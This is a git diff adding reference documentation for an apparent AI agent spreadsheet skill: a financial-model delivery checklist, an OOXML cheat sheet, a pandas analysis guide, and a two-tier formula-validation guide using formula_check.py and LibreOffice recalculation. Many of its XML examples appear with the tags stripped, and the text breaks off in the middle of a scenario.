Pre-Delivery Checklist (Common Financial Model Checklist) + +Before outputting the final file, confirm each item: + +- [ ] Formula rows contain no hard-coded values (can use `formula_check.py` to scan the packaged `.xlsx` file) +- [ ] Year columns display as 2024 not 2,024 (numFmtId="1", format `0`) +- [ ] Negative numbers display as (1,234) not -1,234 (use parenthetical style for externally delivered financial reports) +- [ ] Zero values display as `-` in sparse rows rather than `0` (formatCode third segment is `"-"`) +- [ ] Growth rates and percentages are stored as decimals (0.08 = 8%), format is `0.0%` +- [ ] All cross-sheet reference cells use green font (style index 3 or an appended green + number format combination) +- [ ] Assumptions block and model block are clearly separated (different sheets or separated by empty rows within the same sheet) +- [ ] Summary rows use `SUM()` formulas, not manually hard-coded totals +- [ ] Balance verification: summary rows = sum of their respective line items (a check row can be added at the end of the model to verify) diff --git a/skills/minimax-xlsx/references/ooxml-cheatsheet.md b/skills/minimax-xlsx/references/ooxml-cheatsheet.md new file mode 100644 index 0000000..ed1393f --- /dev/null +++ b/skills/minimax-xlsx/references/ooxml-cheatsheet.md @@ -0,0 +1,231 @@ +# OOXML SpreadsheetML Cheat Sheet + +Quick reference for XML manipulation of xlsx files. + +--- + +## Package Structure + +``` +my_file.xlsx (ZIP archive) +├── [Content_Types].xml ← declares MIME types for all files +├── _rels/ +│ └── .rels ← root relationship: points to xl/workbook.xml +└── xl/ + ├── workbook.xml ← sheet list, calc settings + ├── styles.xml ← ALL style definitions + ├── sharedStrings.xml ← ALL text strings (referenced by index) + ├── _rels/ + │ └── workbook.xml.rels ← maps r:id → worksheet/styles/sharedStrings files + ├── worksheets/ + │ ├── sheet1.xml ← Sheet 1 data + │ ├── sheet2.xml ← Sheet 2 data + │ └── ... + ├── charts/ ← chart XML (if any) + ├── pivotTables/ ← pivot table XML (if any) + └── theme/ + └── theme1.xml ← color/font theme +``` + +--- + +## Cell Reference Format + +``` +A1 → column A (1), row 1 +B5 → column B (2), row 5 +AA1 → column 27, row 1 +``` + +Column letter ↔ number conversion: +```python +def col_letter(n): # 1-based → letter + r = "" + while n > 0: + n, rem = divmod(n - 1, 26) + r = chr(65 + rem) + r + return r + +def col_number(s): # letter → 1-based + n = 0 + for c in s.upper(): + n = n * 26 + (ord(c) - 64) + return n +``` + +--- + +## Cell XML Reference + +### Data Types + +| Type | `t` attr | XML Example | Value | +|------|---------|-------------|-------| +| Number | omit | `1000` | 1000 | +| String (shared) | `s` | `0` | sharedStrings[0] | +| String (inline) | `inlineStr` | `Hi` | "Hi" | +| Boolean | `b` | `1` | TRUE | +| Error | `e` | `#REF!` | #REF! | +| Formula | omit | `SUM(B2:B3)` | computed | + +### Formula Types + +```xml + +SUM(B2:B3) + + +Assumptions!B5 +'Sheet With Spaces'!B5 + + +B2*C2 + + + +SORT(A1:A5) +``` + +--- + +## styles.xml Reference + +### Indirect Reference Chain + +``` +Cell s="3" + ↓ +cellXfs[3] → fontId="2", fillId="0", borderId="0", numFmtId="165" + ↓ ↓ ↓ ↓ ↓ +fonts[2] fills[0] borders[0] numFmts: id=165 +blue color no fill no border "0.0%" +``` + +### Adding a New Style (step-by-step) + +1. In ``: add ``, update `count` +2. In ``: add font entry, note its index +3. In ``: append ``, update `count` +4. New style index = old `cellXfs count` value (before incrementing) +5. Apply to cells: `...` + +### Color Format + +`AARRGGBB` — Alpha (always `00` for opaque) + Red + Green + Blue + +``` +000000FF → Blue +00000000 → Black +00008000 → Green (dark) +00FF0000 → Red +00FFFF00 → Yellow (for fills) +00FFFFFF → White +``` + +### Built-in numFmtIds (no declaration needed) + +| ID | Format | Display | +|----|--------|---------| +| 0 | General | as-is | +| 1 | 0 | 2024 (use for years!) | +| 2 | 0.00 | 1000.00 | +| 3 | #,##0 | 1,000 | +| 4 | #,##0.00 | 1,000.00 | +| 9 | 0% | 15% | +| 10 | 0.00% | 15.25% | +| 14 | m/d/yyyy | 3/21/2026 | + +--- + +## sharedStrings.xml Reference + +```xml + + Revenue + Cost + Margin + +``` + +Text with leading/trailing spaces: +```xml + indented +``` + +Special characters: +```xml +R&D Expenses +``` + +--- + +## workbook.xml / .rels Sync + +Every `` in workbook.xml needs a matching `` in workbook.xml.rels: + +```xml + + + + + + +``` + +And a matching `` in `[Content_Types].xml`: +```xml + +``` + +--- + +## Column / Row Dimensions + +```xml + + + + + + + + + ... + +``` + +--- + +## Freeze Panes + +Inside ``: +```xml + + + + + + + + +``` + +--- + +## 7 Excel Error Types (All Must Be Absent at Delivery) + +| Error | Meaning | Detect in XML | +|-------|---------|---------------| +| `#REF!` | Invalid cell reference | `#REF!` | +| `#DIV/0!` | Divide by zero | `#DIV/0!` | +| `#VALUE!` | Wrong data type | `#VALUE!` | +| `#NAME?` | Unknown function/name | `#NAME?` | +| `#NULL!` | Empty intersection | `#NULL!` | +| `#NUM!` | Number out of range | `#NUM!` | +| `#N/A` | Value not found | `#N/A` | diff --git a/skills/minimax-xlsx/references/read-analyze.md b/skills/minimax-xlsx/references/read-analyze.md new file mode 100644 index 0000000..15337df --- /dev/null +++ b/skills/minimax-xlsx/references/read-analyze.md @@ -0,0 +1,97 @@ +# Data Reading & Analysis Guide + +> Reference for the READ path. Use `xlsx_reader.py` for structure discovery and data quality auditing, +> then pandas for custom analysis. **Never modify the source file.** + +--- + +## When to Use This Path + +The user asks to read, analyze, view, summarize, extract, or answer questions about an Excel/CSV file's contents, +without requiring file modification. If modification is needed, hand off to `edit.md`. + +--- + +## Workflow + +### Step 1 — Structure Discovery + +Run `xlsx_reader.py` first. It handles format detection, encoding fallback, structure exploration, and data quality audit: + +```bash +python3 SKILL_DIR/scripts/xlsx_reader.py input.xlsx # full report +python3 SKILL_DIR/scripts/xlsx_reader.py input.xlsx --sheet Sales # single sheet +python3 SKILL_DIR/scripts/xlsx_reader.py input.xlsx --quality # quality audit only +python3 SKILL_DIR/scripts/xlsx_reader.py input.xlsx --json # machine-readable +``` + +Supported formats: `.xlsx`, `.xlsm`, `.csv`, `.tsv`. The script tries multiple encodings for CSV (utf-8-sig, gbk, utf-8, latin-1). + +### Step 2 — Custom Analysis with pandas + +Load data and perform the analysis the user requests: + +```python +import pandas as pd +df = pd.read_excel("input.xlsx", sheet_name=None) # dict of all sheets +# For CSV: pd.read_csv("input.csv") +``` + +**Header handling** (when the default `header=0` doesn't work): + +| Situation | Code | +|-----------|------| +| Header on row 3 | `pd.read_excel(path, header=2)` | +| Multi-level merged header | `pd.read_excel(path, header=[0, 1])` | +| No header | `pd.read_excel(path, header=None)` | + +**Analysis quick reference:** + +| Scenario | Pattern | +|----------|---------| +| Descriptive stats | `df.describe()` or `df['Col'].agg(['sum', 'mean', 'min', 'max'])` | +| Group aggregation | `df.groupby('Region')['Revenue'].agg(Total='sum', Avg='mean')` | +| Top N | `df.groupby('Region')['Revenue'].sum().sort_values(ascending=False).head(5)` | +| Pivot table | `df.pivot_table(values='Revenue', index='Region', columns='Quarter', aggfunc='sum', margins=True)` | +| Time series | `df.set_index(pd.to_datetime(df['Date'])).resample('ME')['Revenue'].sum()` | +| Cross-sheet merge | `pd.merge(sales, customers, on='CustomerID', how='left', validate='m:1')` | +| Stack sheets | `pd.concat([df.assign(Source=name) for name, df in sheets.items()], ignore_index=True)` | +| Large files (>50MB) | `pd.read_excel(path, usecols=['Date', 'Revenue'])` or `pd.read_csv(path, chunksize=10000)` | + +### Step 3 — Output + +If the user specifies an output file path, write results to it (highest priority). Format the report as: + +``` +## Analysis Report: {filename} +### File Overview — format, sheets, row counts +### Data Quality — nulls, duplicates, mixed types (or "no issues") +### Key Findings — direct answer to the user's question +### Additional Notes — formula NaN, encoding issues, caveats +``` + +**Numeric display**: monetary `1,234,567.89`, percentage `12.3%`, multiples `8.5x`, counts as integers. + +--- + +## Common Pitfalls + +| Pitfall | Cause | Fix | +|---------|-------|-----| +| Formula cells read as NaN | `` cache empty in freshly generated files | Inform user; suggest opening in Excel and re-saving; or use `libreoffice_recalc.py` | +| CSV encoding errors | Chinese Windows exports use GBK | `xlsx_reader.py` auto-tries multiple encodings; manually specify if all fail | +| Mixed types in column | Column has both numbers and text (e.g., "N/A") | `pd.to_numeric(df['Col'], errors='coerce')` — report unconvertible rows | +| Year shows as 2,024 | Thousands separator format applied to year | `df['Year'].astype(int).astype(str)` | +| Multi-level headers | Two-row header merged | `pd.read_excel(path, header=[0, 1])`, then flatten with `' - '.join()` | +| Row number mismatch | pandas 0-indexed vs Excel 1-indexed | `excel_row = pandas_index + 2` (+1 for 1-index, +1 for header) | + +**Critical**: Never open with `data_only=True` then `save()` — this permanently destroys all formulas. + +--- + +## Prohibitions + +- Never modify the source file (no `save()`, no XML edits) +- Never report formula NaN as "data is zero" — explain it's a formula cache issue +- Never report pandas indices as Excel row numbers +- Never make speculative conclusions unsupported by the data diff --git a/skills/minimax-xlsx/references/validate.md b/skills/minimax-xlsx/references/validate.md new file mode 100644 index 0000000..c02e261 --- /dev/null +++ b/skills/minimax-xlsx/references/validate.md @@ -0,0 +1,772 @@ +# Formula Validation & Recalculation Guide + +Ensure every formula in an xlsx file is provably correct before delivery. A file that opens without visible errors is not a passing file — only a file that has cleared both validation tiers is a passing file. + +--- + +## Foundational Rules + +- **Never declare PASS without running `formula_check.py` first.** Visual inspection of a spreadsheet is not validation. +- **Tier 1 (static) is mandatory in every scenario.** Tier 2 (dynamic) is mandatory when LibreOffice is available. If it is unavailable, you must state this explicitly in the report — you may not silently skip it. +- **Never use openpyxl with `data_only=True` to check formula values.** Opening and saving a workbook in `data_only=True` mode permanently replaces all formulas with their last cached values. Formulas cannot be recovered afterward. +- **Auto-fix only deterministic errors.** Any fix that requires understanding business logic must be flagged for human review. + +--- + +## Two-Tier Validation Architecture + +``` +Tier 1 — Static Validation (XML scan, no external tools) + │ + ├── Detect: all 7 Excel error types already cached in elements + ├── Detect: cross-sheet references pointing to nonexistent sheets + ├── Detect: formula cells with t="e" attribute (error type marker) + └── Tool: formula_check.py + manual XML inspection + │ + ▼ (if LibreOffice is present) +Tier 2 — Dynamic Validation (LibreOffice headless recalculation) + │ + ├── Executes all formulas via the LibreOffice Calc engine + ├── Populates cache values with real computed results + ├── Exposes runtime errors invisible before recalculation + └── Follow-up: re-run Tier 1 on the recalculated file +``` + +**Why two tiers?** + +openpyxl and all Python xlsx libraries write formula strings (e.g. `=SUM(B2:B9)`) into `` elements but do not evaluate them. A freshly generated file has empty `` cache elements for every formula cell. This means: + +- Tier 1 can only catch errors that are already encoded in the XML — either as `t="e"` cells or as structurally broken cross-sheet references. +- Tier 2 uses LibreOffice as the actual calculation engine, runs every formula, fills `` with real results, and surfaces runtime errors (`#DIV/0!`, `#N/A`, etc.) that can only appear after computation. + +Neither tier alone is sufficient. Together they cover the full correctability surface. + +--- + +## Tier 1 — Static Validation + +Static validation requires no external tools. It works directly on the ZIP/XML structure of the xlsx file. + +### Step 1: Run formula_check.py + +**Standard (human-readable) output:** + +```bash +python3 SKILL_DIR/scripts/formula_check.py /path/to/file.xlsx +``` + +**JSON output (for programmatic processing):** + +```bash +python3 SKILL_DIR/scripts/formula_check.py /path/to/file.xlsx --json +``` + +**Single-sheet mode (faster for targeted checks):** + +```bash +python3 SKILL_DIR/scripts/formula_check.py /path/to/file.xlsx --sheet Summary +``` + +**Summary mode (counts only, no per-cell detail):** + +```bash +python3 SKILL_DIR/scripts/formula_check.py /path/to/file.xlsx --summary +``` + +Exit codes: +- `0` — no hard errors (PASS or PASS with heuristic warnings) +- `1` — hard errors detected, or file cannot be opened (FAIL) + +#### What formula_check.py examines + +The script opens the xlsx as a ZIP archive without using any Excel library. It reads `xl/workbook.xml` to enumerate sheet names and named ranges, reads `xl/_rels/workbook.xml.rels` to map each sheet to its XML file, then iterates every `` element in every worksheet. + +It performs five checks: + +1. **Error-value detection**: If the cell has `t="e"`, its `` element contains an Excel error string. The cell is recorded with its sheet name, cell reference (e.g. `C5`), the error value, and the formula text if present. + +2. **Broken cross-sheet reference detection**: If the cell has an `` element, the script extracts all sheet names referenced in the formula (both `SheetName!` and `'Sheet Name'!` syntax). Each name is compared against the list of sheets in `workbook.xml`. A mismatch is a broken reference. + +3. **Unknown named-range detection (heuristic)**: Identifiers in formulas that are not function names, not cell references, and not found in `workbook.xml`'s `` are flagged as `unknown_name_ref` warnings. This is a heuristic — false positives are possible; always verify manually. + +4. **Shared formula integrity**: Shared formula consumer cells (those with only ``) are skipped for formula counting and cross-ref checks because they inherit the primary cell's formula. Only the primary cell (with `ref="..."` attribute and formula text) is checked and counted. + +5. **Malformed error cells**: Cells with `t="e"` but no `` child element are flagged as structural XML issues. + +Hard errors (exit code 1): `error_value`, `broken_sheet_ref`, `malformed_error_cell`, `file_error` +Soft warnings (exit code 0): `unknown_name_ref` — must be verified manually but do not block delivery alone + +#### Reading formula_check.py human-readable output + +A clean file looks like this: + +``` +File : /tmp/budget_2024.xlsx +Sheets : Summary, Q1, Q2, Q3, Q4, Assumptions +Formulas checked : 312 distinct formula cells +Shared formula ranges : 4 ranges +Errors found : 0 + +PASS — No formula errors detected +``` + +A file with errors looks like this: + +``` +File : /tmp/budget_2024.xlsx +Sheets : Summary, Q1, Q2, Q3, Q4, Assumptions +Formulas checked : 312 distinct formula cells +Shared formula ranges : 4 ranges +Errors found : 4 + +── Error Details ── + [FAIL] [Summary!C12] contains #REF! (formula: Q1!A0/Q1!A1) + [FAIL] [Summary!D15] references missing sheet 'Q5' + Formula: Q5!D15 + Valid sheets: ['Assumptions', 'Q1', 'Q2', 'Q3', 'Q4', 'Summary'] + [FAIL] [Q1!F8] contains #DIV/0! + [WARN] [Q2!B10] uses unknown name 'GrowthAssumptions' (heuristic — verify manually) + Formula: SUM(GrowthAssumptions) + Defined names: ['RevenueRange', 'CostRange'] + +FAIL — 3 error(s) must be fixed before delivery +WARN — 1 heuristic warning(s) require manual review +``` + +Interpretation of each line: +- `[FAIL] [Summary!C12] contains #REF! (formula: Q1!A0/Q1!A1)` — The cell has `t="e"` and `#REF!`. The formula references row 0, which does not exist in Excel's 1-based system. This is an off-by-one error in a generated reference. +- `[FAIL] [Summary!D15] references missing sheet 'Q5'` — The formula contains `Q5!D15`, but no sheet named `Q5` exists in the workbook. The valid sheet list is provided for comparison. +- `[FAIL] [Q1!F8] contains #DIV/0!` — This cell's `` is already an error value (the file was previously recalculated). The formula divided by zero. +- `[WARN] [Q2!B10] uses unknown name 'GrowthAssumptions'` — The identifier `GrowthAssumptions` appears in the formula but is not in ``. This may be a typo or a name that was accidentally omitted. It is a heuristic warning — verify manually. The warning alone does not block delivery. + +#### Reading formula_check.py JSON output + +```json +{ + "file": "/tmp/budget_2024.xlsx", + "sheets_checked": ["Summary", "Q1", "Q2", "Q3", "Q4", "Assumptions"], + "formula_count": 312, + "shared_formula_ranges": 4, + "error_count": 4, + "errors": [ + { + "type": "error_value", + "error": "#REF!", + "sheet": "Summary", + "cell": "C12", + "formula": "Q1!A0/Q1!A1" + }, + { + "type": "broken_sheet_ref", + "sheet": "Summary", + "cell": "D15", + "formula": "Q5!D15", + "missing_sheet": "Q5", + "valid_sheets": ["Assumptions", "Q1", "Q2", "Q3", "Q4", "Summary"] + }, + { + "type": "error_value", + "error": "#DIV/0!", + "sheet": "Q1", + "cell": "F8", + "formula": null + }, + { + "type": "unknown_name_ref", + "sheet": "Q2", + "cell": "B10", + "formula": "SUM(GrowthAssumptions)", + "unknown_name": "GrowthAssumptions", + "defined_names": ["RevenueRange", "CostRange"], + "note": "Heuristic check — verify manually if this is a false positive" + } + ] +} +``` + +Field reference: + +| Field | Meaning | +|-------|---------| +| `type: "error_value"` | Cell has `t="e"` — an Excel error is stored in the `` element | +| `type: "broken_sheet_ref"` | Formula references a sheet name not present in workbook.xml | +| `type: "unknown_name_ref"` | Formula references an identifier not in `` (heuristic, soft warning) | +| `type: "malformed_error_cell"` | Cell has `t="e"` but no `` child — structural XML problem | +| `type: "file_error"` | The file could not be opened (bad ZIP, not found, etc.) | +| `sheet` | The sheet where the error was found | +| `cell` | Cell reference in A1 notation | +| `formula` | The full formula text from the `` element (null if not present) | +| `error` | The error string from `` (for `error_value` type) | +| `missing_sheet` | The sheet name extracted from the formula that does not exist | +| `valid_sheets` | All sheet names actually present in workbook.xml | +| `unknown_name` | The identifier that was not found in `` | +| `defined_names` | All named ranges actually present in workbook.xml | +| `shared_formula_ranges` | Count of shared formula definitions (top-level `` elements) | + +### Step 2: Manual XML inspection + +When formula_check.py reports errors, unpack the file to inspect the raw XML: + +```bash +python3 SKILL_DIR/scripts/xlsx_unpack.py /path/to/file.xlsx /tmp/xlsx_inspect/ +``` + +Navigate to the worksheet file for the reported sheet. The sheet-to-file mapping is in `xl/_rels/workbook.xml.rels`. For example, if `rId1` maps to `worksheets/sheet1.xml`, then sheet1.xml is the file for the sheet with `r:id="rId1"` in `xl/workbook.xml`. + +For each reported error cell, locate the `` element and examine: + +**For `error_value` errors:** +```xml + + + Q1!C10/Q1!C11 + #DIV/0! + +``` + +Ask: +- Is the `` formula syntactically correct? +- Does the cell reference in the formula point to a row/column that exists? +- If it is a division, is it possible the denominator cell is empty or zero? + +**For `broken_sheet_ref` errors:** + +Check `xl/workbook.xml` for the actual sheet list: + +```xml + + + + + +``` + +Sheet names are case-sensitive. `q1` and `Q1` are different sheets. Compare the name in the formula exactly against the names here. + +### Step 3: Cross-sheet reference audit (multi-sheet workbooks) + +For workbooks with 3 or more sheets, run a broader cross-reference audit after unpacking: + +```bash +# Extract all formulas containing cross-sheet references +grep -h "" /tmp/xlsx_inspect/xl/worksheets/*.xml | grep "!" + +# List all actual sheet names from workbook.xml +grep -o 'name="[^"]*"' /tmp/xlsx_inspect/xl/workbook.xml | grep -v sheetId +``` + +Every sheet name appearing in formulas (in the form `SheetName!` or `'Sheet Name'!`) must appear in the workbook sheet list. If any do not match, that is a broken reference even if formula_check.py did not catch it (which can happen with shared formulas where only the primary cell is examined). + +To check shared formulas specifically, look for `` elements: + +```xml + +Q1!B2*C2 + + + +``` + +formula_check.py reads the formula text from the primary cell (`D2` above). The referenced sheet `Q1` in that formula applies to the entire range `D2:D100`. If the sheet is broken, all 99 rows are broken even though they appear as empty `` elements. + +--- + +## Tier 2 — Dynamic Validation (LibreOffice Headless) + +### Check LibreOffice availability + +```bash +# Check macOS (typical install location) +which soffice +/Applications/LibreOffice.app/Contents/MacOS/soffice --version + +# Check Linux +which libreoffice || which soffice +libreoffice --version +``` + +If neither command returns a path, LibreOffice is not installed. Record "Tier 2: SKIPPED — LibreOffice not available" in the report and proceed to delivery with Tier 1 results only. + +### Install LibreOffice (if permitted in the environment) + +macOS: +```bash +brew install --cask libreoffice +``` + +Ubuntu/Debian: +```bash +sudo apt-get install -y libreoffice +``` + +### Run headless recalculation + +Use the dedicated recalculation script. It handles binary discovery across macOS and Linux, works from a temporary copy of the input (preserving the original), and provides structured output and exit codes compatible with the validation pipeline. + +```bash +# Check LibreOffice availability first +python3 SKILL_DIR/scripts/libreoffice_recalc.py --check + +# Run recalculation (default timeout: 60s) +python3 SKILL_DIR/scripts/libreoffice_recalc.py /path/to/input.xlsx /tmp/recalculated.xlsx + +# For large or complex files, extend the timeout +python3 SKILL_DIR/scripts/libreoffice_recalc.py /path/to/input.xlsx /tmp/recalculated.xlsx --timeout 120 +``` + +Exit codes from `libreoffice_recalc.py`: +- `0` — recalculation succeeded, output file written +- `2` — LibreOffice not found (note as SKIPPED in report; not a hard failure) +- `1` — LibreOffice found but failed (timeout, crash, malformed file) + +**What the script does internally:** + +LibreOffice's `--convert-to xlsx` command opens the file using the full Calc engine with the `--infilter="Calc MS Excel 2007 XML"` filter, executes every formula, writes computed values into the `` cache elements, and saves the output. This is the closest server-side equivalent of "open in Excel and press Save." The script also passes `--norestore` to prevent LibreOffice from attempting to restore previous sessions, which can cause hangs in automated environments. + +**If LibreOffice is not installed:** + +macOS: +```bash +brew install --cask libreoffice +``` + +Ubuntu/Debian: +```bash +sudo apt-get install -y libreoffice +``` + +**If the script times out (libreoffice_recalc.py exits with code 1 and "timed out" message):** + +Record "Tier 2: TIMEOUT — LibreOffice did not complete within Ns" in the report. Do not retry in a loop. Investigate whether the file has circular references or extremely large data ranges. + +### Re-run Tier 1 after recalculation + +After LibreOffice recalculation, the `` elements contain real computed values. Errors that were invisible before (because `` was empty in a freshly generated file) now appear as `t="e"` cells with actual error strings. + +```bash +python3 SKILL_DIR/scripts/formula_check.py /tmp/recalculated.xlsx +``` + +This second Tier 1 pass is the definitive runtime error check. Any errors it finds are real calculation failures that must be fixed. + +--- + +## All 7 Error Types — Causes and Fix Strategies + +### #REF! — Invalid Cell Reference + +**What it means:** The formula references a cell, range, or sheet that no longer exists or never existed. + +**Common causes in generated files:** +- Off-by-one error in row/column calculation (e.g., referencing row 0 which does not exist in Excel's 1-based system) +- Column letter computed incorrectly (e.g., column 64 maps to `BL`, not `BK`) +- Formula references a sheet that was never created or was renamed + +**XML signature:** +```xml + + Sheet2!A0 + #REF! + +``` + +**Fix — correct the reference:** +```xml + + Sheet2!A1 + + +``` + +Note: remove `t="e"` and clear `` after correcting the formula. The error type marker belongs to the cached state, not the formula. + +**Auto-fixable?** Only if the correct target can be determined with certainty from the surrounding context. Otherwise flag for human review. + +--- + +### #DIV/0! — Division by Zero + +**What it means:** The formula divides by a value that is zero or an empty cell (empty cells evaluate to 0 in arithmetic context). + +**Common causes in generated files:** +- Percentage change formula `=(B2-B1)/B1` where `B1` is empty or zero +- Rate formula `=Value/Total` where the total row hasn't been populated yet + +**XML signature:** +```xml + + B8/B7 + #DIV/0! + +``` + +**Fix — wrap with IFERROR:** +```xml + + IFERROR(B8/B7,0) + + +``` + +Alternative — explicit zero check: +```xml + + IF(B7=0,0,B8/B7) + + +``` + +**Auto-fixable?** Yes. Wrapping with `IFERROR(...,0)` is safe for most financial formulas. If the business expectation is that the result should display as blank rather than zero, use `IFERROR(...,"")` instead. + +--- + +### #VALUE! — Wrong Data Type + +**What it means:** The formula attempts an arithmetic or logical operation on a value of the wrong type (e.g., adding a text string to a number). + +**Common causes in generated files:** +- A cell intended to hold a number was written as a string type (`t="s"` or `t="inlineStr"`) instead of a numeric type +- A formula references a cell containing text (e.g., a unit label like "thousands") and treats it as a number + +**XML signature:** +```xml + + E3+D3 + #VALUE! + +``` + +**Fix — check source cells for incorrect type:** + +If `D3` was incorrectly written as a string: +```xml + +1000 + + +1000 +``` + +Alternatively, wrap the formula with `VALUE()` conversion: +```xml + + VALUE(E3)+VALUE(D3) + + +``` + +**Auto-fixable?** Partially. If the source cell type is visibly wrong (a number stored as string), fix the type. If the cause is ambiguous (the cell is supposed to contain text), flag for human review. + +--- + +### #NAME? — Unrecognized Name + +**What it means:** The formula contains an identifier that Excel does not recognize — either a misspelled function name, an undefined named range, or a function that is not available in the target Excel version. + +**Common causes in generated files:** +- LLM writes a function name with a typo: `SUMIF` written as `SUMIFS` when only 3 arguments are provided, or `XLOOKUP` used in a context targeting Excel 2010 +- Named range referenced in formula does not exist in `xl/workbook.xml` + +**XML signature:** +```xml + + SUMSQ(A2:A10) + #NAME? + +``` + +**Fix — verify function name and named ranges:** + +Check named ranges in `xl/workbook.xml`: +```xml + + Sheet1!$B$2:$B$13 + +``` + +If the formula references `RevenuRange` (typo), correct it to `RevenueRange`: +```xml + + SUM(RevenueRange) + + +``` + +**Auto-fixable?** Only if the correct name is unambiguous (e.g., a single close match exists). Otherwise flag for human review — function name fixes require understanding the intended calculation. + +--- + +### #N/A — Value Not Available + +**What it means:** A lookup function (VLOOKUP, HLOOKUP, MATCH, INDEX/MATCH, XLOOKUP) searched for a value that does not exist in the lookup table. + +**Common causes in generated files:** +- Lookup key exists in the formula but the lookup table is empty or not yet populated +- Key format mismatch (text "2024" vs numeric 2024) + +**XML signature:** +```xml + + VLOOKUP(F5,Assumptions!$A$2:$B$20,2,0) + #N/A + +``` + +**Fix — wrap with IFERROR for missing-match tolerance:** +```xml + + IFERROR(VLOOKUP(F5,Assumptions!$A$2:$B$20,2,0),0) + + +``` + +**Auto-fixable?** Adding `IFERROR` is safe if a zero default is acceptable. If the lookup failure indicates a data integrity problem (the key should always be present), do not auto-fix — flag for human review. + +--- + +### #NULL! — Empty Intersection + +**What it means:** The space operator (which computes the intersection of two ranges) was applied to two ranges that do not intersect. + +**Common causes in generated files:** +- Accidental space between two range references: `=SUM(A1:A5 C1:C5)` instead of `=SUM(A1:A5,C1:C5)` +- Rarely seen in typical financial models; usually indicates a formula generation error + +**XML signature:** +```xml + + SUM(A1:A5 C1:C5) + #NULL! + +``` + +**Fix — replace space with comma (union) or colon (range):** +```xml + + + SUM(A1:A5,C1:C5) + + +``` + +**Auto-fixable?** Yes. The space operator is almost never intentional in generated formulas. Replacing with a comma is safe. + +--- + +### #NUM! — Numeric Error + +**What it means:** A formula produced a number that Excel cannot represent (overflow, underflow) or a mathematical operation that has no real-number result (square root of negative, LOG of zero or negative). + +**Common causes in generated files:** +- IRR or NPV formula where the cash flow series has no convergent solution +- `SQRT()` applied to a cell that can be negative +- Very large exponentiation + +**XML signature:** +```xml + + IRR(B5:B15) + #NUM! + +``` + +**Fix — add a conditional guard:** +```xml + + IFERROR(IRR(B5:B15),"") + + +``` + +For SQRT: +```xml + + IF(A5>=0,SQRT(A5),"") + + +``` + +**Auto-fixable?** Partially. Wrapping with `IFERROR` suppresses the error display but does not fix the underlying calculation issue. Flag the cell for human review even after applying the IFERROR wrapper. + +--- + +## Auto-Fix vs. Human Review Decision Matrix + +| Error Type | Auto-Fix Safe? | Condition | Action | +|------------|---------------|-----------|--------| +| `#DIV/0!` | Yes | Always | Wrap with `IFERROR(formula,0)` | +| `#NULL!` | Yes | Always | Replace space operator with comma | +| `#REF!` | Yes | Only if correct target is unambiguous from context | Correct reference; otherwise flag | +| `#NAME?` | Yes | Only if typo has exactly one plausible correction | Fix name; otherwise flag | +| `#N/A` | Conditional | If a zero/blank default is business-acceptable | Add IFERROR wrapper; document assumption | +| `#VALUE!` | Conditional | Only if source cell type is clearly wrong | Fix type; otherwise flag | +| `#NUM!` | No | Always | Add IFERROR to suppress display, then flag | +| Broken sheet ref | Yes | Only if renamed sheet can be identified from workbook.xml | Correct name | +| Business logic errors | Never | Any case | Human review only | + +**What counts as a business logic error (never auto-fix):** +- A formula that produces a wrong number but no Excel error (e.g., `=SUM(B2:B8)` when the intent was `=SUM(B2:B9)`) +- A formula where the IFERROR default value is meaningful (e.g., whether to use 0, blank, or a prior-period value) +- Any formula where fixing the error requires knowing what the formula was supposed to calculate + +--- + +## Delivery Standard — Validation Report + +Every validation task must produce a structured report. This report is the deliverable, regardless of whether errors were found. + +### Required report format + +```markdown +## Formula Validation Report + +**File**: /path/to/filename.xlsx +**Date**: YYYY-MM-DD +**Sheets checked**: Sheet1, Sheet2, Sheet3 +**Total formulas scanned**: N + +--- + +### Tier 1 — Static Validation + +**Status**: PASS / FAIL +**Tool**: formula_check.py (direct XML scan) + +| Sheet | Cell | Error Type | Detail | Fix Applied | +|-------|------|-----------|--------|-------------| +| Summary | C12 | #REF! | Formula: Q1!A0 | Corrected to Q1!A1 | +| Summary | D15 | broken_sheet_ref | References missing sheet 'Q5' | Renamed to Q4 | + +_(If no errors: "No errors detected.")_ + +--- + +### Tier 2 — Dynamic Validation + +**Status**: PASS / FAIL / SKIPPED +**Tool**: LibreOffice headless (version X.Y.Z) / Not available + +_(If SKIPPED: state the reason — LibreOffice not installed, timeout, etc.)_ + +| Sheet | Cell | Error Type | Detail | Fix Applied | +|-------|------|-----------|--------|-------------| +| Q1 | F8 | #DIV/0! | Formula: C8/C7 | Wrapped with IFERROR | + +_(If no errors: "No runtime errors detected after recalculation.")_ + +--- + +### Summary + +- **Total errors found**: N +- **Auto-fixed**: N (list types) +- **Flagged for human review**: N (list cells and reason) +- **Final status**: PASS (ready for delivery) / FAIL (blocked) + +### Human Review Required + +| Cell | Error | Reason Auto-Fix Not Applied | +|------|-------|----------------------------| +| Q2!B15 | #NUM! | IRR formula — business must confirm cash flow inputs | +``` + +### Minimum required fields + +The report is invalid (and delivery is blocked) if any of these are missing: +- File path and date +- Which sheets were checked +- Total formula count +- Tier 1 status with explicit PASS/FAIL +- Tier 2 status with explicit PASS/FAIL/SKIPPED and reason if SKIPPED +- For every error: sheet, cell, error type, and disposition (fixed or flagged) +- Final delivery status + +--- + +## Common Scenarios + +### Scenario 1: Validate immediately after creating a new file + +When `create.md` workflow produces a new xlsx, run validation before any delivery response. + +```bash +# Step 1: Static check on the freshly written file +python3 SKILL_DIR/scripts/formula_check.py /path/to/output.xlsx + +# Step 2: Dynamic check (if LibreOffice available) +python3 SKILL_DIR/scripts/libreoffice_recalc.py /path/to/output.xlsx /tmp/recalculated.xlsx +python3 SKILL_DIR/scripts/formula_check.py /tmp/recalculated.xlsx +``` + +Expected behavior on a freshly created file: Tier 1 will find zero `error_value` errors (because `` elements are empty, not error-valued). It will find any broken cross-sheet references if sheet names were misspelled. Tier 2 will populate `` and reveal runtime errors like `#DIV/0!`. + +If Tier 2 reveals errors, fix them in the source XML (not the recalculated copy), repack, and re-run both tiers. + +### Scenario 2: Validate after editing an existing file + +When `edit.md` workflow modifies an existing xlsx, validate only the affected sheets if the edit was surgical. If the edit touched shared formulas or cross-sheet references, validate all sheets. + +```bash +# Targeted static check — look at specific sheet +# (formula_check.py checks all sheets; examine only the relevant section of output) +python3 SKILL_DIR/scripts/formula_check.py /path/to/edited.xlsx --json \ + | python3 -c " +import json, sys +r = json.load(sys.stdin) +for e in r['errors']: + if e.get('sheet') in ['Summary', 'Q1']: + print(e) +" +``` + +Always run Tier 2 after edits that modify formulas, even if Tier 1 passes. Edits to data ranges can cause previously-valid formulas to produce runtime errors. + +### Scenario 3: User provides a file with suspected formula errors + +When a user submits a file and reports wrong values or visible errors: + 